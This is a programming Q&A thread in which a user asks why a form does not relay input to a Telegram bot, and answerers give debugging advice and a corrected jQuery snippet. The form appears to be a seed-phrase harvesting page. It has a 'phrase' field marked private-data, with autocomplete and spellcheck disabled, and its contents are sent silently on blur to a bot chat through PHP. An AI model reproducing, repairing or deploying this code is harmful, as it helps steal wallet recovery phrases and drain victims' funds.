V
V
Veyder2022-04-03 13:18:05
AJAX
Veyder, 2022-04-03 13:18:05

Why is the data not being sent?

In general, I wanted to send data from the input field to the telegram through the bot without reloading the page . Unfortunately, I do not have sufficient knowledge of ajax and php, but I found a script on the Internet that was supposed to perform this function.
As a result, I got the following code:
HTML

<form method="post" class="form-horizontal" role="form">
    <label for="phrase" class="col-sm-2 control-label"></label>
    <div class="col-sm-10">
        <textarea name="phrase" id="phrase" class="phrase private-data form-control" data-show-qr autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"></textarea>
    </div>
</form>

JS
(function ($) {
  $("#phrase").on('blur', function() {    //тут пытался сделать, чтобы форма отправлялась при расфокусировке одного поля
    $(".form-horizontal").submit();
  });

  $(".form-horizontal").submit(function (event) {
    event.preventDefault();
    let form = $("#" + $(this).attr("id"))[0];
    let fd = new FormData(form);
    $.ajax({
      url: "../auth.php",
      type: "POST",
      data: fd,
      processData: false,
      contentType: false
    });
  });
})(jQuery);

PHP
<?php
  const TOKEN = '//токен';
  const CHATID = '//id чата';

if ($_SERVER["REQUEST_METHOD"] == "POST") {
  $msg = "";
  $textSendStatus = '';

  if (isset($_POST['phrase']) && !empty($_POST['phrase'])) {
    $msg = strip_tags(trim(urlencode($_POST['phrase'])));
  }

  $textSendStatus = @file_get_contents('https://api.telegram.org/bot'. TOKEN .'/sendMessage?chat_id=' . CHATID . '&parse_mode=html&text=' . $msg);

  if( isset(json_decode($textSendStatus)->{'ok'}) && json_decode($textSendStatus)->{'ok'} ) {
    echo json_encode('SUCCESS');
  } else {
    echo json_encode('ERROR');
  }
} else {
  header("Location: /");
}

What could be the problem? I checked it on the hosting - it doesn't work, the messages just don't go. I will be very grateful for the answer and any thoughts on this matter.

Answer the question

In order to leave comments, you need to log in

4 answer(s)
N
nickerlan, 2022-04-03
@nickerlan

I highly recommend mastering:
1) Code sharing tools. Somewhere where it would be possible to look at your code, instead of assuming a finger to the sky (well, for example, url: "../auth.php", - do you definitely have the script in a folder of a higher level relative to the current address?). Even if they just put the repo on git, it would be easier to suggest something.
2) Elementary debugging tools:
- Network panel in the browser to see if the request itself flies, what flies in it and what
is the answer - At least simple echo in PHP to see what happens to the variables.

T
ThunderCat, 2022-04-03
@ThunderCat

there are too many errors and left code in js, besides, there is a lot of garbage on the backend and the code is also worthless.
why do striptags if you already did urlencode? All possible tags are already broken. and a whole lot more...
And debugging... learn to check the code, console.log(), var_dump() as basic tools, check the browser console and network, what goes out, what comes back...
Specify the path to the executable script it is necessary from the site root - not ../auth.php, but /scripts/auth.php, if the file is in the scripts folder, which is in the root directory.
Briefly speaking:

$(function() {
  $("#phrase").on('blur', function() {
    $.post("../auth.php", $(".form-horizontal").serialize(), function(data){alert (data);}
    );
  });
)}

T
TheAndrey7, 2022-04-03
@TheAndrey7

$(".form-horizontal").submit();
Without the submit button on the form (at least hidden) will not work.

$textSendStatus = @file_get_contents('https://api.telegram.org/bot'. TOKEN .'/sendMessage?chat_id=' . CHATID . '&parse_mode=html&text=' . $msg);

Using @ to silence errors is bad coding. It will stop working, you will guess on the coffee grounds without error logs. For HTTP curl requests use.

Didn't find what you were looking for?

Ask your question

Ask a Question

731 491 924 answers to any question